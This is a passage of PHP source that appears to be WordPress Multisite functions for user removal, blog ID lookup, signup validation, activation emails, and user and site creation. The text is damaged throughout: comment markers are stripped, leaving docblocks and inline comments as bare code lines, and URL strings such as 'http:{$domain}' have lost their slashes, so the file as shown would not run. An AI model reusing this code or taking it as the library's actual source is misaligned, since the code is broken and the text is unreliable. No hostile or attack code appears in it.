			if ( $blog->userblog_id == $blog_id )
				continue;
			$new_id = $blog->userblog_id;
			$new_domain = $blog->domain;
			break;
		}

		update_user_meta($user_id, 'primary_blog', $new_id);
		update_user_meta($user_id, 'source_domain', $new_domain);
	}

	 wp_revoke_user($user_id);
	$user = get_userdata( $user_id );
	if ( ! $user ) {
		restore_current_blog();
		return new WP_Error('user_does_not_exist', __('That user does not exist.'));
	}

	$user->remove_all_caps();

	$blogs = get_blogs_of_user($user_id);
	if ( count($blogs) == 0 ) {
		update_user_meta($user_id, 'primary_blog', '');
		update_user_meta($user_id, 'source_domain', '');
	}

	if ( $reassign != '' ) {
		$reassign = (int) $reassign;
		$post_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_author = %d", $user_id ) );
		$link_ids = $wpdb->get_col( $wpdb->prepare( "SELECT link_id FROM $wpdb->links WHERE link_owner = %d", $user_id ) );

		if ( ! empty( $post_ids ) ) {
			$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->posts SET post_author = %d WHERE post_author = %d", $reassign, $user_id ) );
			array_walk( $post_ids, 'clean_post_cache' );
		}

		if ( ! empty( $link_ids ) ) {
			$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->links SET link_owner = %d WHERE link_owner = %d", $reassign, $user_id ) );
			array_walk( $link_ids, 'clean_bookmark_cache' );
		}
	}

	restore_current_blog();

	return true;
}

*
 * Get the permalink for a post on another blog.
 *
 * @since MU (3.0.0) 1.0
 *
 * @param int $blog_id ID of the source blog.
 * @param int $post_id ID of the desired post.
 * @return string The post's permalink
 
function get_blog_permalink( $blog_id, $post_id ) {
	switch_to_blog( $blog_id );
	$link = get_permalink( $post_id );
	restore_current_blog();

	return $link;
}

*
 * Get a blog's numeric ID from its URL.
 *
 * On a subdirectory installation like example.com/blog1/,
 * $domain will be the root 'example.com' and $path the
 * subdirectory '/blog1/'. With subdomains like blog1.example.com,
 * $domain is 'blog1.example.com' and $path is '/'.
 *
 * @since MU (3.0.0)
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $domain
 * @param string $path   Optional. Not required for subdomain installations.
 * @return int 0 if no blog found, otherwise the ID of the matching blog
 
function get_blog_id_from_url( $domain, $path = '/' ) {
	$domain = strtolower( $domain );
	$path = strtolower( $path );
	$id = wp_cache_get( md5( $domain . $path ), 'blog-id-cache' );

	if ( $id == -1 )  blog does not exist
		return 0;
	elseif ( $id )
		return (int) $id;

	$args = array(
		'domain' => $domain,
		'path' => $path,
		'fields' => 'ids',
		'number' => 1,
	);
	$result = get_sites( $args );
	$id = array_shift( $result );

	if ( ! $id ) {
		wp_cache_set( md5( $domain . $path ), -1, 'blog-id-cache' );
		return 0;
	}

	wp_cache_set( md5( $domain . $path ), $id, 'blog-id-cache' );

	return $id;
}

 Admin functions

*
 * Checks an email address against a list of banned domains.
 *
 * This function checks against the Banned Email Domains list
 * at wp-admin/network/settings.php. The check is only run on
 * self-registrations; user creation at wp-admin/network/users.php
 * bypasses this check.
 *
 * @since MU (3.0.0)
 *
 * @param string $user_email The email provided by the user at registration.
 * @return bool Returns true when the email address is banned.
 
function is_email_address_unsafe( $user_email ) {
	$banned_names = get_site_option( 'banned_email_domains' );
	if ( $banned_names && ! is_array( $banned_names ) )
		$banned_names = explode( "\n", $banned_names );

	$is_email_address_unsafe = false;

	if ( $banned_names && is_array( $banned_names ) && false !== strpos( $user_email, '@', 1 ) ) {
		$banned_names = array_map( 'strtolower', $banned_names );
		$normalized_email = strtolower( $user_email );

		list( $email_local_part, $email_domain ) = explode( '@', $normalized_email );

		foreach ( $banned_names as $banned_domain ) {
			if ( ! $banned_domain )
				continue;

			if ( $email_domain == $banned_domain ) {
				$is_email_address_unsafe = true;
				break;
			}

			$dotted_domain = ".$banned_domain";
			if ( $dotted_domain === substr( $normalized_email, -strlen( $dotted_domain ) ) ) {
				$is_email_address_unsafe = true;
				break;
			}
		}
	}

	*
	 * Filters whether an email address is unsafe.
	 *
	 * @since 3.5.0
	 *
	 * @param bool   $is_email_address_unsafe Whether the email address is "unsafe". Default false.
	 * @param string $user_email              User email address.
	 
	return apply_filters( 'is_email_address_unsafe', $is_email_address_unsafe, $user_email );
}

*
 * Sanitize and validate data required for a user sign-up.
 *
 * Verifies the validity and uniqueness of user names and user email addresses,
 * and checks email addresses against admin-provided domain whitelists and blacklists.
 *
 * The {@see 'wpmu_validate_user_signup'} hook provides an easy way to modify the sign-up
 * process. The value $result, which is passed to the hook, contains both the user-provided
 * info and the error messages created by the function. {@see 'wpmu_validate_user_signup'}
 * allows you to process the data in any way you'd like, and unset the relevant errors if
 * necessary.
 *
 * @since MU (3.0.0)
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $user_name  The login name provided by the user.
 * @param string $user_email The email provided by the user.
 * @return array Contains username, email, and error messages.
 
function wpmu_validate_user_signup($user_name, $user_email) {
	global $wpdb;

	$errors = new WP_Error();

	$orig_username = $user_name;
	$user_name = preg_replace( '/\s+/', '', sanitize_user( $user_name, true ) );

	if ( $user_name != $orig_username || preg_match( '/[^a-z0-9]/', $user_name ) ) {
		$errors->add( 'user_name', __( 'Usernames can only contain lowercase letters (a-z) and numbers.' ) );
		$user_name = $orig_username;
	}

	$user_email = sanitize_email( $user_email );

	if ( empty( $user_name ) )
	   	$errors->add('user_name', __( 'Please enter a username.' ) );

	$illegal_names = get_site_option( 'illegal_names' );
	if ( ! is_array( $illegal_names ) ) {
		$illegal_names = array(  'www', 'web', 'root', 'admin', 'main', 'invite', 'administrator' );
		add_site_option( 'illegal_names', $illegal_names );
	}
	if ( in_array( $user_name, $illegal_names ) ) {
		$errors->add( 'user_name',  __( 'Sorry, that username is not allowed.' ) );
	}

	* This filter is documented in wp-includes/user.php 
	$illegal_logins = (array) apply_filters( 'illegal_user_logins', array() );

	if ( in_array( strtolower( $user_name ), array_map( 'strtolower', $illegal_logins ) ) ) {
		$errors->add( 'user_name',  __( 'Sorry, that username is not allowed.' ) );
	}

	if ( ! is_email( $user_email ) ) {
		$errors->add( 'user_email', __( 'Please enter a valid email address.' ) );
	} elseif ( is_email_address_unsafe( $user_email ) ) {
		$errors->add( 'user_email', __( 'You cannot use that email address to signup. We are having problems with them blocking some of our email. Please use another email provider.' ) );
	}

	if ( strlen( $user_name ) < 4 )
		$errors->add('user_name',  __( 'Username must be at least 4 characters.' ) );

	if ( strlen( $user_name ) > 60 ) {
		$errors->add( 'user_name', __( 'Username may not be longer than 60 characters.' ) );
	}

	 all numeric?
	if ( preg_match( '/^[0-9]*$/', $user_name ) )
		$errors->add('user_name', __('Sorry, usernames must have letters too!'));

	$limited_email_domains = get_site_option( 'limited_email_domains' );
	if ( is_array( $limited_email_domains ) && ! empty( $limited_email_domains ) ) {
		$emaildomain = substr( $user_email, 1 + strpos( $user_email, '@' ) );
		if ( ! in_array( $emaildomain, $limited_email_domains ) ) {
			$errors->add('user_email', __('Sorry, that email address is not allowed!'));
		}
	}

	 Check if the username has been used already.
	if ( username_exists($user_name) )
		$errors->add( 'user_name', __( 'Sorry, that username already exists!' ) );

	 Check if the email address has been used already.
	if ( email_exists($user_email) )
		$errors->add( 'user_email', __( 'Sorry, that email address is already used!' ) );

	 Has someone already signed up for this username?
	$signup = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->signups WHERE user_login = %s", $user_name) );
	if ( $signup != null ) {
		$registered_at =  mysql2date('U', $signup->registered);
		$now = current_time( 'timestamp', true );
		$diff = $now - $registered_at;
		 If registered more than two days ago, cancel registration and let this signup go through.
		if ( $diff > 2 * DAY_IN_SECONDS )
			$wpdb->delete( $wpdb->signups, array( 'user_login' => $user_name ) );
		else
			$errors->add('user_name', __('That username is currently reserved but may be available in a couple of days.'));
	}

	$signup = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->signups WHERE user_email = %s", $user_email) );
	if ( $signup != null ) {
		$diff = current_time( 'timestamp', true ) - mysql2date('U', $signup->registered);
		 If registered more than two days ago, cancel registration and let this signup go through.
		if ( $diff > 2 * DAY_IN_SECONDS )
			$wpdb->delete( $wpdb->signups, array( 'user_email' => $user_email ) );
		else
			$errors->add('user_email', __('That email address has already been used. Please check your inbox for an activation email. It will become available in a couple of days if you do nothing.'));
	}

	$result = array('user_name' => $user_name, 'orig_username' => $orig_username, 'user_email' => $user_email, 'errors' => $errors);

	*
	 * Filters the validated user registration details.
	 *
	 * This does not allow you to override the username or email of the user during
	 * registration. The values are solely used for validation and error handling.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param array $result {
	 *     The array of user name, email and the error messages.
	 *
	 *     @type string   $user_name     Sanitized and unique username.
	 *     @type string   $orig_username Original username.
	 *     @type string   $user_email    User email address.
	 *     @type WP_Error $errors        WP_Error object containing any errors found.
	 * }
	 
	return apply_filters( 'wpmu_validate_user_signup', $result );
}

*
 * Processes new site registrations.
 *
 * Checks the data provided by the user during blog signup. Verifies
 * the validity and uniqueness of blog paths and domains.
 *
 * This function prevents the current user from registering a new site
 * with a blogname equivalent to another user's login name. Passing the
 * $user parameter to the function, where $user is the other user, is
 * effectively an override of this limitation.
 *
 * Filter {@see 'wpmu_validate_blog_signup'} if you want to modify
 * the way that WordPress validates new site signups.
 *
 * @since MU (3.0.0)
 *
 * @global wpdb   $wpdb
 * @global string $domain
 *
 * @param string         $blogname   The blog name provided by the user. Must be unique.
 * @param string         $blog_title The blog title provided by the user.
 * @param WP_User|string $user       Optional. The user object to check against the new site name.
 * @return array Contains the new site data and error messages.
 
function wpmu_validate_blog_signup( $blogname, $blog_title, $user = '' ) {
	global $wpdb, $domain;

	$current_network = get_network();
	$base = $current_network->path;

	$blog_title = strip_tags( $blog_title );

	$errors = new WP_Error();
	$illegal_names = get_site_option( 'illegal_names' );
	if ( $illegal_names == false ) {
		$illegal_names = array( 'www', 'web', 'root', 'admin', 'main', 'invite', 'administrator' );
		add_site_option( 'illegal_names', $illegal_names );
	}

	
	 * On sub dir installations, some names are so illegal, only a filter can
	 * spring them from jail.
	 
	if ( ! is_subdomain_install() ) {
		$illegal_names = array_merge( $illegal_names, get_subdirectory_reserved_names() );
	}

	if ( empty( $blogname ) )
		$errors->add('blogname', __( 'Please enter a site name.' ) );

	if ( preg_match( '/[^a-z0-9]+/', $blogname ) ) {
		$errors->add( 'blogname', __( 'Site names can only contain lowercase letters (a-z) and numbers.' ) );
	}

	if ( in_array( $blogname, $illegal_names ) )
		$errors->add('blogname',  __( 'That name is not allowed.' ) );

	*
	 * Filters the minimum site name length required when validating a site signup.
	 *
	 * @since 4.8.0
	 *
	 * @param int $length The minimum site name length. Default 4.
	 
	$minimum_site_name_length = apply_filters( 'minimum_site_name_length', 4 );

	if ( strlen( $blogname ) < $minimum_site_name_length ) {
		 translators: %s: minimum site name length 
		$errors->add( 'blogname', sprintf( _n( 'Site name must be at least %s character.', 'Site name must be at least %s characters.', $minimum_site_name_length ), number_format_i18n( $minimum_site_name_length ) ) );
	}

	 do not allow users to create a blog that conflicts with a page on the main blog.
	if ( !is_subdomain_install() && $wpdb->get_var( $wpdb->prepare( "SELECT post_name FROM " . $wpdb->get_blog_prefix( $current_network->site_id ) . "posts WHERE post_type = 'page' AND post_name = %s", $blogname ) ) )
		$errors->add( 'blogname', __( 'Sorry, you may not use that site name.' ) );

	 all numeric?
	if ( preg_match( '/^[0-9]*$/', $blogname ) )
		$errors->add('blogname', __('Sorry, site names must have letters too!'));

	*
	 * Filters the new site name during registration.
	 *
	 * The name is the site's subdomain or the site's subdirectory
	 * path depending on the network settings.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param string $blogname Site name.
	 
	$blogname = apply_filters( 'newblogname', $blogname );

	$blog_title = wp_unslash(  $blog_title );

	if ( empty( $blog_title ) )
		$errors->add('blog_title', __( 'Please enter a site title.' ) );

	 Check if the domain/path has been used already.
	if ( is_subdomain_install() ) {
		$mydomain = $blogname . '.' . preg_replace( '|^www\.|', '', $domain );
		$path = $base;
	} else {
		$mydomain = "$domain";
		$path = $base.$blogname.'/';
	}
	if ( domain_exists($mydomain, $path, $current_network->id) )
		$errors->add( 'blogname', __( 'Sorry, that site already exists!' ) );

	if ( username_exists( $blogname ) ) {
		if ( ! is_object( $user ) || ( is_object($user) && ( $user->user_login != $blogname ) ) )
			$errors->add( 'blogname', __( 'Sorry, that site is reserved!' ) );
	}

	 Has someone already signed up for this domain?
	$signup = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->signups WHERE domain = %s AND path = %s", $mydomain, $path) );  TODO: Check email too?
	if ( ! empty($signup) ) {
		$diff = current_time( 'timestamp', true ) - mysql2date('U', $signup->registered);
		 If registered more than two days ago, cancel registration and let this signup go through.
		if ( $diff > 2 * DAY_IN_SECONDS )
			$wpdb->delete( $wpdb->signups, array( 'domain' => $mydomain , 'path' => $path ) );
		else
			$errors->add('blogname', __('That site is currently reserved but may be available in a couple days.'));
	}

	$result = array('domain' => $mydomain, 'path' => $path, 'blogname' => $blogname, 'blog_title' => $blog_title, 'user' => $user, 'errors' => $errors);

	*
	 * Filters site details and error messages following registration.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param array $result {
	 *     Array of domain, path, blog name, blog title, user and error messages.
	 *
	 *     @type string         $domain     Domain for the site.
	 *     @type string         $path       Path for the site. Used in subdirectory installations.
	 *     @type string         $blogname   The unique site name (slug).
	 *     @type string         $blog_title Blog title.
	 *     @type string|WP_User $user       By default, an empty string. A user object if provided.
	 *     @type WP_Error       $errors     WP_Error containing any errors found.
	 * }
	 
	return apply_filters( 'wpmu_validate_blog_signup', $result );
}

*
 * Record site signup information for future activation.
 *
 * @since MU (3.0.0)
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $domain     The requested domain.
 * @param string $path       The requested path.
 * @param string $title      The requested site title.
 * @param string $user       The user's requested login name.
 * @param string $user_email The user's email address.
 * @param array  $meta       Optional. Signup meta data. By default, contains the requested privacy setting and lang_id.
 
function wpmu_signup_blog( $domain, $path, $title, $user, $user_email, $meta = array() )  {
	global $wpdb;

	$key = substr( md5( time() . wp_rand() . $domain ), 0, 16 );

	*
	 * Filters the metadata for a site signup.
	 *
	 * The metadata will be serialized prior to storing it in the database.
	 *
	 * @since 4.8.0
	 *
	 * @param array  $meta       Signup meta data. Default empty array.
	 * @param string $domain     The requested domain.
	 * @param string $path       The requested path.
	 * @param string $title      The requested site title.
	 * @param string $user       The user's requested login name.
	 * @param string $user_email The user's email address.
	 * @param string $key        The user's activation key.
	 
	$meta = apply_filters( 'signup_site_meta', $meta, $domain, $path, $title, $user, $user_email, $key );

	$wpdb->insert( $wpdb->signups, array(
		'domain' => $domain,
		'path' => $path,
		'title' => $title,
		'user_login' => $user,
		'user_email' => $user_email,
		'registered' => current_time('mysql', true),
		'activation_key' => $key,
		'meta' => serialize( $meta )
	) );

	*
	 * Fires after site signup information has been written to the database.
	 *
	 * @since 4.4.0
	 *
	 * @param string $domain     The requested domain.
	 * @param string $path       The requested path.
	 * @param string $title      The requested site title.
	 * @param string $user       The user's requested login name.
	 * @param string $user_email The user's email address.
	 * @param string $key        The user's activation key.
	 * @param array  $meta       Signup meta data. By default, contains the requested privacy setting and lang_id.
	 
	do_action( 'after_signup_site', $domain, $path, $title, $user, $user_email, $key, $meta );
}

*
 * Record user signup information for future activation.
 *
 * This function is used when user registration is open but
 * new site registration is not.
 *
 * @since MU (3.0.0)
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $user       The user's requested login name.
 * @param string $user_email The user's email address.
 * @param array  $meta       Optional. Signup meta data. Default empty array.
 
function wpmu_signup_user( $user, $user_email, $meta = array() ) {
	global $wpdb;

	 Format data
	$user = preg_replace( '/\s+/', '', sanitize_user( $user, true ) );
	$user_email = sanitize_email( $user_email );
	$key = substr( md5( time() . wp_rand() . $user_email ), 0, 16 );

	*
	 * Filters the metadata for a user signup.
	 *
	 * The metadata will be serialized prior to storing it in the database.
	 *
	 * @since 4.8.0
	 *
	 * @param array  $meta       Signup meta data. Default empty array.
	 * @param string $user       The user's requested login name.
	 * @param string $user_email The user's email address.
	 * @param string $key        The user's activation key.
	 
	$meta = apply_filters( 'signup_user_meta', $meta, $user, $user_email, $key );

	$wpdb->insert( $wpdb->signups, array(
		'domain' => '',
		'path' => '',
		'title' => '',
		'user_login' => $user,
		'user_email' => $user_email,
		'registered' => current_time('mysql', true),
		'activation_key' => $key,
		'meta' => serialize( $meta )
	) );

	*
	 * Fires after a user's signup information has been written to the database.
	 *
	 * @since 4.4.0
	 *
	 * @param string $user       The user's requested login name.
	 * @param string $user_email The user's email address.
	 * @param string $key        The user's activation key.
	 * @param array  $meta       Signup meta data. Default empty array.
	 
	do_action( 'after_signup_user', $user, $user_email, $key, $meta );
}

*
 * Send a confirmation request email to a user when they sign up for a new site. The new site will not become active
 * until the confirmation link is clicked.
 *
 * This is the notification function used when site registration
 * is enabled.
 *
 * Filter {@see 'wpmu_signup_blog_notification'} to bypass this function or
 * replace it with your own notification behavior.
 *
 * Filter {@see 'wpmu_signup_blog_notification_email'} and
 * {@see 'wpmu_signup_blog_notification_subject'} to change the content
 * and subject line of the email sent to newly registered users.
 *
 * @since MU (3.0.0)
 *
 * @param string $domain     The new blog domain.
 * @param string $path       The new blog path.
 * @param string $title      The site title.
 * @param string $user_login The user's login name.
 * @param string $user_email The user's email address.
 * @param string $key        The activation key created in wpmu_signup_blog()
 * @param array  $meta       Optional. Signup meta data. By default, contains the requested privacy setting and lang_id.
 * @return bool
 
function wpmu_signup_blog_notification( $domain, $path, $title, $user_login, $user_email, $key, $meta = array() ) {
	*
	 * Filters whether to bypass the new site email notification.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param string|bool $domain     Site domain.
	 * @param string      $path       Site path.
	 * @param string      $title      Site title.
	 * @param string      $user_login User login name.
	 * @param string      $user_email User email address.
	 * @param string      $key        Activation key created in wpmu_signup_blog().
	 * @param array       $meta       Signup meta data. By default, contains the requested privacy setting and lang_id.
	 
	if ( ! apply_filters( 'wpmu_signup_blog_notification', $domain, $path, $title, $user_login, $user_email, $key, $meta ) ) {
		return false;
	}

	 Send email with activation link.
	if ( !is_subdomain_install() || get_current_network_id() != 1 )
		$activate_url = network_site_url("wp-activate.php?key=$key");
	else
		$activate_url = "http:{$domain}{$path}wp-activate.php?key=$key";  @todo use *_url() API

	$activate_url = esc_url($activate_url);
	$admin_email = get_site_option( 'admin_email' );
	if ( $admin_email == '' )
		$admin_email = 'support@' . $_SERVER['SERVER_NAME'];
	$from_name = get_site_option( 'site_name' ) == '' ? 'WordPress' : esc_html( get_site_option( 'site_name' ) );
	$message_headers = "From: \"{$from_name}\" <{$admin_email}>\n" . "Content-Type: text/plain; charset=\"" . get_option('blog_charset') . "\"\n";

	$user = get_user_by( 'login', $user_login );
	$switched_locale = switch_to_locale( get_user_locale( $user ) );

	$message = sprintf(
		*
		 * Filters the message content of the new blog notification email.
		 *
		 * Content should be formatted for transmission via wp_mail().
		 *
		 * @since MU (3.0.0)
		 *
		 * @param string $content    Content of the notification email.
		 * @param string $domain     Site domain.
		 * @param string $path       Site path.
		 * @param string $title      Site title.
		 * @param string $user_login User login name.
		 * @param string $user_email User email address.
		 * @param string $key        Activation key created in wpmu_signup_blog().
		 * @param array  $meta       Signup meta data. By default, contains the requested privacy setting and lang_id.
		 
		apply_filters( 'wpmu_signup_blog_notification_email',
			__( "To activate your blog, please click the following link:\n\n%s\n\nAfter you activate, you will receive *another email* with your login.\n\nAfter you activate, you can visit your site here:\n\n%s" ),
			$domain, $path, $title, $user_login, $user_email, $key, $meta
		),
		$activate_url,
		esc_url( "http:{$domain}{$path}" ),
		$key
	);
	 TODO: Don't hard code activation link.
	$subject = sprintf(
		*
		 * Filters the subject of the new blog notification email.
		 *
		 * @since MU (3.0.0)
		 *
		 * @param string $subject    Subject of the notification email.
		 * @param string $domain     Site domain.
		 * @param string $path       Site path.
		 * @param string $title      Site title.
		 * @param string $user_login User login name.
		 * @param string $user_email User email address.
		 * @param string $key        Activation key created in wpmu_signup_blog().
		 * @param array  $meta       Signup meta data. By default, contains the requested privacy setting and lang_id.
		 
		apply_filters( 'wpmu_signup_blog_notification_subject',
			 translators: New site notification email subject. 1: Network name, 2: New site URL 
			_x( '[%1$s] Activate %2$s', 'New site notification email subject' ),
			$domain, $path, $title, $user_login, $user_email, $key, $meta
		),
		$from_name,
		esc_url( 'http:' . $domain . $path )
	);
	wp_mail( $user_email, wp_specialchars_decode( $subject ), $message, $message_headers );

	if ( $switched_locale ) {
		restore_previous_locale();
	}

	return true;
}

*
 * Send a confirmation request email to a user when they sign up for a new user account (without signing up for a site
 * at the same time). The user account will not become active until the confirmation link is clicked.
 *
 * This is the notification function used when no new site has
 * been requested.
 *
 * Filter {@see 'wpmu_signup_user_notification'} to bypass this function or
 * replace it with your own notification behavior.
 *
 * Filter {@see 'wpmu_signup_user_notification_email'} and
 * {@see 'wpmu_signup_user_notification_subject'} to change the content
 * and subject line of the email sent to newly registered users.
 *
 * @since MU (3.0.0)
 *
 * @param string $user_login The user's login name.
 * @param string $user_email The user's email address.
 * @param string $key        The activation key created in wpmu_signup_user()
 * @param array  $meta       Optional. Signup meta data. Default empty array.
 * @return bool
 
function wpmu_signup_user_notification( $user_login, $user_email, $key, $meta = array() ) {
	*
	 * Filters whether to bypass the email notification for new user sign-up.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param string $user_login User login name.
	 * @param string $user_email User email address.
	 * @param string $key        Activation key created in wpmu_signup_user().
	 * @param array  $meta       Signup meta data. Default empty array.
	 
	if ( ! apply_filters( 'wpmu_signup_user_notification', $user_login, $user_email, $key, $meta ) )
		return false;

	$user = get_user_by( 'login', $user_login );
	$switched_locale = switch_to_locale( get_user_locale( $user ) );

	 Send email with activation link.
	$admin_email = get_site_option( 'admin_email' );
	if ( $admin_email == '' )
		$admin_email = 'support@' . $_SERVER['SERVER_NAME'];
	$from_name = get_site_option( 'site_name' ) == '' ? 'WordPress' : esc_html( get_site_option( 'site_name' ) );
	$message_headers = "From: \"{$from_name}\" <{$admin_email}>\n" . "Content-Type: text/plain; charset=\"" . get_option('blog_charset') . "\"\n";
	$message = sprintf(
		*
		 * Filters the content of the notification email for new user sign-up.
		 *
		 * Content should be formatted for transmission via wp_mail().
		 *
		 * @since MU (3.0.0)
		 *
		 * @param string $content    Content of the notification email.
		 * @param string $user_login User login name.
		 * @param string $user_email User email address.
		 * @param string $key        Activation key created in wpmu_signup_user().
		 * @param array  $meta       Signup meta data. Default empty array.
		 
		apply_filters( 'wpmu_signup_user_notification_email',
			__( "To activate your user, please click the following link:\n\n%s\n\nAfter you activate, you will receive *another email* with your login." ),
			$user_login, $user_email, $key, $meta
		),
		site_url( "wp-activate.php?key=$key" )
	);
	 TODO: Don't hard code activation link.
	$subject = sprintf(
		*
		 * Filters the subject of the notification email of new user signup.
		 *
		 * @since MU (3.0.0)
		 *
		 * @param string $subject    Subject of the notification email.
		 * @param string $user_login User login name.
		 * @param string $user_email User email address.
		 * @param string $key        Activation key created in wpmu_signup_user().
		 * @param array  $meta       Signup meta data. Default empty array.
		 
		apply_filters( 'wpmu_signup_user_notification_subject',
			 translators: New user notification email subject. 1: Network name, 2: New user login 
			_x( '[%1$s] Activate %2$s', 'New user notification email subject' ),
			$user_login, $user_email, $key, $meta
		),
		$from_name,
		$user_login
	);
	wp_mail( $user_email, wp_specialchars_decode( $subject ), $message, $message_headers );

	if ( $switched_locale ) {
		restore_previous_locale();
	}

	return true;
}

*
 * Activate a signup.
 *
 * Hook to {@see 'wpmu_activate_user'} or {@see 'wpmu_activate_blog'} for events
 * that should happen only when users or sites are self-created (since
 * those actions are not called when users and sites are created
 * by a Super Admin).
 *
 * @since MU (3.0.0)
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $key The activation key provided to the user.
 * @return array|WP_Error An array containing information about the activated user and/or blog
 
function wpmu_activate_signup($key) {
	global $wpdb;

	$signup = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->signups WHERE activation_key = %s", $key) );

	if ( empty( $signup ) )
		return new WP_Error( 'invalid_key', __( 'Invalid activation key.' ) );

	if ( $signup->active ) {
		if ( empty( $signup->domain ) )
			return new WP_Error( 'already_active', __( 'The user is already active.' ), $signup );
		else
			return new WP_Error( 'already_active', __( 'The site is already active.' ), $signup );
	}

	$meta = maybe_unserialize($signup->meta);
	$password = wp_generate_password( 12, false );

	$user_id = username_exists($signup->user_login);

	if ( ! $user_id )
		$user_id = wpmu_create_user($signup->user_login, $password, $signup->user_email);
	else
		$user_already_exists = true;

	if ( ! $user_id )
		return new WP_Error('create_user', __('Could not create user'), $signup);

	$now = current_time('mysql', true);

	if ( empty($signup->domain) ) {
		$wpdb->update( $wpdb->signups, array('active' => 1, 'activated' => $now), array('activation_key' => $key) );

		if ( isset( $user_already_exists ) )
			return new WP_Error( 'user_already_exists', __( 'That username is already activated.' ), $signup);

		*
		 * Fires immediately after a new user is activated.
		 *
		 * @since MU (3.0.0)
		 *
		 * @param int   $user_id  User ID.
		 * @param int   $password User password.
		 * @param array $meta     Signup meta data.
		 
		do_action( 'wpmu_activate_user', $user_id, $password, $meta );
		return array( 'user_id' => $user_id, 'password' => $password, 'meta' => $meta );
	}

	$blog_id = wpmu_create_blog( $signup->domain, $signup->path, $signup->title, $user_id, $meta, get_current_network_id() );

	 TODO: What to do if we create a user but cannot create a blog?
	if ( is_wp_error($blog_id) ) {
		 If blog is taken, that means a previous attempt to activate this blog failed in between creating the blog and
		 setting the activation flag. Let's just set the active flag and instruct the user to reset their password.
		if ( 'blog_taken' == $blog_id->get_error_code() ) {
			$blog_id->add_data( $signup );
			$wpdb->update( $wpdb->signups, array( 'active' => 1, 'activated' => $now ), array( 'activation_key' => $key ) );
		}
		return $blog_id;
	}

	$wpdb->update( $wpdb->signups, array('active' => 1, 'activated' => $now), array('activation_key' => $key) );
	*
	 * Fires immediately after a site is activated.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param int    $blog_id       Blog ID.
	 * @param int    $user_id       User ID.
	 * @param int    $password      User password.
	 * @param string $signup_title  Site title.
	 * @param array  $meta          Signup meta data. By default, contains the requested privacy setting and lang_id.
	 
	do_action( 'wpmu_activate_blog', $blog_id, $user_id, $password, $signup->title, $meta );

	return array('blog_id' => $blog_id, 'user_id' => $user_id, 'password' => $password, 'title' => $signup->title, 'meta' => $meta);
}

*
 * Create a user.
 *
 * This function runs when a user self-registers as well as when
 * a Super Admin creates a new user. Hook to {@see 'wpmu_new_user'} for events
 * that should affect all new users, but only on Multisite (otherwise
 * use {@see'user_register'}).
 *
 * @since MU (3.0.0)
 *
 * @param string $user_name The new user's login name.
 * @param string $password  The new user's password.
 * @param string $email     The new user's email address.
 * @return int|false Returns false on failure, or int $user_id on success
 
function wpmu_create_user( $user_name, $password, $email ) {
	$user_name = preg_replace( '/\s+/', '', sanitize_user( $user_name, true ) );

	$user_id = wp_create_user( $user_name, $password, $email );
	if ( is_wp_error( $user_id ) )
		return false;

	 Newly created users have no roles or caps until they are added to a blog.
	delete_user_option( $user_id, 'capabilities' );
	delete_user_option( $user_id, 'user_level' );

	*
	 * Fires immediately after a new user is created.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param int $user_id User ID.
	 
	do_action( 'wpmu_new_user', $user_id );

	return $user_id;
}

*
 * Create a site.
 *
 * This function runs when a user self-registers a new site as well
 * as when a Super Admin creates a new site. Hook to {@see 'wpmu_new_blog'}
 * for events that should affect all new sites.
 *
 * On subdirectory installations, $domain is the same as the main site's
 * domain, and the path is the subdirectory name (eg 'example.com'
 * and '/blog1/'). On subdomain installations, $domain is the new subdomain +
 * root domain (eg 'blog1.example.com'), and $path is '/'.
 *
 * @since MU (3.0.0)
 *
 * @param string $domain     The new site's domain.
 * @param string $path       The new site's path.
 * @param string $title      The new site's title.
 * @param int    $user_id    The user ID of the new site's admin.
 * @param array  $meta       Optional. Array of key=>value pairs used to set initial site options.
 *                           If valid status keys are included ('public', 'archived', 'mature',
 *                           'spam', 'deleted', or 'lang_id') the given site status(es) will be
 *                           updated. Otherwise, keys and values will be used to set options for
 *                           the new site. Default empty array.
 * @param int    $network_id Optional. Network ID. Only relevant on multi-network installations.
 * @return int|WP_Error Returns WP_Error object on failure, the new site ID on success.
 
function wpmu_create_blog( $domain, $path, $title, $user_id, $meta = array(), $network_id = 1 ) {
	$defaults = array(
		'public' => 0,
		'WPLANG' => get_network_option( $network_id, 'WPLANG' ),
	);
	$meta = wp_parse_args( $meta, $defaults );

	$domain = preg_replace( '/\s+/', '', sanitize_user( $domain, true ) );

	if ( is_subdomain_install() )
		$domain = str_replace( '@', '', $domain );

	$title = strip_tags( $title );
	$user_id = (int) $user_id;

	if ( empty($path) )
		$path = '/';

	 Check if the domain has been used already. We should return an error message.
	if ( domain_exists($domain, $path, $network_id) )
		return new WP_Error( 'blog_taken', __( 'Sorry, that site already exists!' ) );

	if ( ! wp_installing() ) {
		wp_installing( true );
	}

	if ( ! $blog_id = insert_blog($domain, $path, $network_id) )
		return new WP_Error('insert_blog', __('Could not create site.'));

	switch_to_blog($blog_id);
	install_blog($blog_id, $title);
	wp_install_defaults($user_id);

	add_user_to_blog($blog_id, $user_id, 'administrator');

	foreach ( $meta as $key => $value ) {
		if ( in_array( $key, array( 'public', 'archived', 'mature', 'spam', 'deleted', 'lang_id' ) ) )
			update_blog_status( $blog_id, $key, $value );
		else
			update_option( $key, $value );
	}

	update_option( 'blog_public', (int) $meta['public'] );

	if ( ! is_super_admin( $user_id ) && ! get_user_meta( $user_id, 'primary_blog', true ) )
		update_user_meta( $user_id, 'primary_blog', $blog_id );

